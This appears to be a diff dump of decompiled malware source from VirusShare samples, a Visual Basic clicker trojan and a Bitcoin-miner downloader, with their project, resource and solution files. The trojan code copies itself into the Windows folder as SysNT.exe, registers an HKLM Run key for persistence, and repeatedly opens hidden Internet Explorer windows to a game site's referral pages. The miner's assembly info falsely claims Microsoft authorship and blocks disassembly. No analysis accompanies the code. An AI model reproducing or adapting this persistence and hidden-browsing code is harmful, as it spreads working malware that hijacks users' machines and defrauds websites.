Thread.Sleep(360000);
|
||||
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685183", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685108", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685012", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685091", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685221", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685205", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685043", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685042", AppWinStyle.Hide);
|
||||
}
|
||||
else if (StringType.StrCmp(sLeft, "C", false) == 0)
|
||||
{
|
||||
if (!File.Exists(sLeft + ":\\windows\\SysNT.exe"))
|
||||
{
|
||||
File.Copy(executablePath, sLeft + ":\\windows\\SysNT.exe", true);
|
||||
RegistryKey subKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
|
||||
subKey.SetValue("MyVBApp", (object) ("\"" + sLeft + ":\\windows\\SysNT.exe\""));
|
||||
subKey.Close();
|
||||
}
|
||||
Thread.Sleep(40000);
|
||||
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1612268", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685015", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685183", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685108", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685012", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685091", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685221", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685205", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685043", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"c:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685042", AppWinStyle.Hide);
|
||||
}
|
||||
else if (StringType.StrCmp(sLeft, "E", false) == 0)
|
||||
{
|
||||
if (!File.Exists(sLeft + ":\\windows\\SysNT.exe"))
|
||||
{
|
||||
File.Copy(executablePath, sLeft + ":\\windows\\SysNT.exe", true);
|
||||
RegistryKey subKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
|
||||
subKey.SetValue("MyVBApp", (object) ("\"" + sLeft + ":\\windows\\SysNT.exe\""));
|
||||
subKey.Close();
|
||||
}
|
||||
Thread.Sleep(40000);
|
||||
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1612268", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685015", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685183", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685108", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685012", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685091", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685221", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685205", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685043", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"e:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685042", AppWinStyle.Hide);
|
||||
}
|
||||
else if (StringType.StrCmp(sLeft, "F", false) == 0)
|
||||
{
|
||||
if (!File.Exists(sLeft + ":\\windows\\SysNT.exe"))
|
||||
{
|
||||
File.Copy(executablePath, sLeft + ":\\windows\\SysNT.exe", true);
|
||||
RegistryKey subKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
|
||||
subKey.SetValue("MyVBApp", (object) ("\"" + sLeft + ":\\windows\\SysNT.exe\""));
|
||||
subKey.Close();
|
||||
}
|
||||
Thread.Sleep(40000);
|
||||
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1612268", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685015", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685183", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685108", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685012", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685091", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685221", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685205", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685043", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"f:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685042", AppWinStyle.Hide);
|
||||
}
|
||||
this.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,150 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="$this.SnapToGrid" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs=</value>
|
||||
</data>
|
||||
<data name="$this.TrayLargeIcon" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
|
||||
</data>
|
||||
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>BUZvcm0x</value>
|
||||
</data>
|
||||
<data name="$this.DefaultModifiers" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
|
||||
</data>
|
||||
<data name="$this.Locked" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
|
||||
</data>
|
||||
<data name="$this.DrawGrid" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs=</value>
|
||||
</data>
|
||||
<data name="$this.Localizable" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
|
||||
</data>
|
||||
<data name="$this.Language" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>AAEAAAD/////AQAAAAAAAAAEAQAAACBTeXN0ZW0uR2xvYmFsaXphdGlvbi5DdWx0dXJlSW5mbwoAAAAGbV9uYW1lCm1fZGF0YUl0ZW0RbV91c2VVc2VyT3ZlcnJpZGUJY3VsdHVyZUlEDG1faXNSZWFkT25seQtjb21wYXJlSW5mbwh0ZXh0SW5mbwdudW1JbmZvDGRhdGVUaW1lSW5mbwhjYWxlbmRhcgEAAAAAAwMDAwMIAQgBIFN5c3RlbS5HbG9iYWxpemF0aW9uLkNvbXBhcmVJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLlRleHRJbmZvJVN5c3RlbS5HbG9iYWxpemF0aW9uLk51bWJlckZvcm1hdEluZm8nU3lzdGVtLkdsb2JhbGl6YXRpb24uRGF0ZVRpbWVGb3JtYXRJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLkNhbGVuZGFyBgIAAAAAygAAAAB/AAAAAQkDAAAACQQAAAAJBQAAAAoKBAMAAAAgU3lzdGVtLkdsb2JhbGl6YXRpb24uQ29tcGFyZUluZm8CAAAACXdpbjMyTENJRAdjdWx0dXJlAAAICH8AAAB/AAAABAQAAAAdU3lzdGVtLkdsb2JhbGl6YXRpb24uVGV4dEluZm8DAAAAC21fbkRhdGFJdGVtEW1fdXNlVXNlck92ZXJyaWRlDW1fd2luMzJMYW5nSUQAAAAIAQjKAAAAAH8AAAAEBQAAACVTeXN0ZW0uR2xvYmFsaXphdGlvbi5OdW1iZXJGb3JtYXRJbmZvHwAAABBudW1iZXJHcm91cFNpemVzEmN1cnJlbmN5R3JvdXBTaXplcxFwZXJjZW50R3JvdXBTaXplcwxwb3NpdGl2ZVNpZ24MbmVnYXRpdmVTaWduFm51bWJlckRlY2ltYWxTZXBhcmF0b3IUbnVtYmVyR3JvdXBTZXBhcmF0b3IWY3VycmVuY3lHcm91cFNlcGFyYXRvchhjdXJyZW5jeURlY2ltYWxTZXBhcmF0b3IOY3VycmVuY3lTeW1ib2wSYW5zaUN1cnJlbmN5U3ltYm9sCW5hblN5bWJvbBZwb3NpdGl2ZUluZmluaXR5U3ltYm9sFm5lZ2F0aXZlSW5maW5pdHlTeW1ib2wXcGVyY2VudERlY2ltYWxTZXBhcmF0b3IVcGVyY2VudEdyb3VwU2VwYXJhdG9yDXBlcmNlbnRTeW1ib2wOcGVyTWlsbGVTeW1ib2wKbV9kYXRhSXRlbRNudW1iZXJEZWNpbWFsRGlnaXRzFWN1cnJlbmN5RGVjaW1hbERpZ2l0cxdjdXJyZW5jeVBvc2l0aXZlUGF0dGVybhdjdXJyZW5jeU5lZ2F0aXZlUGF0dGVybhVudW1iZXJOZWdhdGl2ZVBhdHRlcm4WcGVyY2VudFBvc2l0aXZlUGF0dGVybhZwZXJjZW50TmVnYXRpdmVQYXR0ZXJuFHBlcmNlbnREZWNpbWFsRGlnaXRzCmlzUmVhZE9ubHkRbV91c2VVc2VyT3ZlcnJpZGUVdmFsaWRGb3JQYXJzZUFzTnVtYmVyF3ZhbGlkRm9yUGFyc2VBc0N1cnJlbmN5BwcHAQEBAQEBAQEBAQEBAQEBAAAAAAAAAAAAAAAAAAgICAgICAgICAgICAEBAQEJBgAAAAkHAAAACQYAAAAGCQAAAAErBgoAAAABLQYLAAAAAS4GDAAAAAEsBg0AAAABLAYOAAAAAS4GDwAAAALCpAoGEAAAAANOYU4GEQAAAAhJbmZpbml0eQYSAAAACS1JbmZpbml0eQkLAAAACQwAAAAGFQAAAAElBhYAAAAD4oCwygAAAAIAAAACAAAAAAAAAAAAAAABAAAAAAAAAAAAAAACAAAAAQABAQ8GAAAAAQAAAAgDAAAADwcAAAABAAAACAMAAAAL</value>
|
||||
</data>
|
||||
<data name="$this.GridSize" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAgAAAAIAAAACw==</value>
|
||||
</data>
|
||||
<data name="$this.TrayHeight" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>UAAAAA==</value>
|
||||
</data>
|
||||
</root>
|
||||
@ -1,48 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{544064DE-D1E1-48FB-A468-FC0A2F081506}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>addoul2</AssemblyName>
|
||||
<ApplicationVersion>1.0.1392.15754</ApplicationVersion>
|
||||
<RootNamespace>addoul2</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "addoul2", "Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b.csproj", "{544064DE-D1E1-48FB-A468-FC0A2F081506}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{544064DE-D1E1-48FB-A468-FC0A2F081506}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{544064DE-D1E1-48FB-A468-FC0A2F081506}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{544064DE-D1E1-48FB-A468-FC0A2F081506}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{544064DE-D1E1-48FB-A468-FC0A2F081506}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@ -1,15 +0,0 @@
|
||||
using SmartAssembly.Attributes;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyTitle("Miners")]
|
||||
[assembly: SuppressIldasm]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: Guid("e9a643c8-ce10-46f5-a70c-456b68ccdfa4")]
|
||||
[assembly: AssemblyProduct("Miners")]
|
||||
[assembly: PoweredBy("Powered by SmartAssembly")]
|
||||
[assembly: AssemblyCopyright("Copyright © Microsoft 2011")]
|
||||
[assembly: AssemblyCompany("Microsoft")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
@ -1,30 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ICSharpCode.SharpZipLib.SharpZipBaseException
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.Serialization;
|
||||
|
||||
namespace ICSharpCode.SharpZipLib
|
||||
{
|
||||
[Serializable]
|
||||
public class SharpZipBaseException : ApplicationException
|
||||
{
|
||||
protected SharpZipBaseException([In] SerializationInfo obj0, [In] StreamingContext obj1)
|
||||
: base(obj0, obj1)
|
||||
{
|
||||
}
|
||||
|
||||
public SharpZipBaseException()
|
||||
{
|
||||
}
|
||||
|
||||
public SharpZipBaseException([In] string obj0)
|
||||
: base(obj0)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,30 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ICSharpCode.SharpZipLib.Tar.TarException
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.Serialization;
|
||||
|
||||
namespace ICSharpCode.SharpZipLib.Tar
|
||||
{
|
||||
[Serializable]
|
||||
public sealed class TarException : SharpZipBaseException
|
||||
{
|
||||
protected TarException([In] SerializationInfo obj0, [In] StreamingContext obj1)
|
||||
: base(obj0, obj1)
|
||||
{
|
||||
}
|
||||
|
||||
public TarException()
|
||||
{
|
||||
}
|
||||
|
||||
public TarException([In] string obj0)
|
||||
: base(obj0)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,30 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ICSharpCode.SharpZipLib.Zip.ZipException
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.Serialization;
|
||||
|
||||
namespace ICSharpCode.SharpZipLib.Zip
|
||||
{
|
||||
[Serializable]
|
||||
public sealed class ZipException : SharpZipBaseException
|
||||
{
|
||||
protected ZipException([In] SerializationInfo obj0, [In] StreamingContext obj1)
|
||||
: base(obj0, obj1)
|
||||
{
|
||||
}
|
||||
|
||||
public ZipException()
|
||||
{
|
||||
}
|
||||
|
||||
public ZipException([In] string obj0)
|
||||
: base(obj0)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,73 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Miners.My.MySettings
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
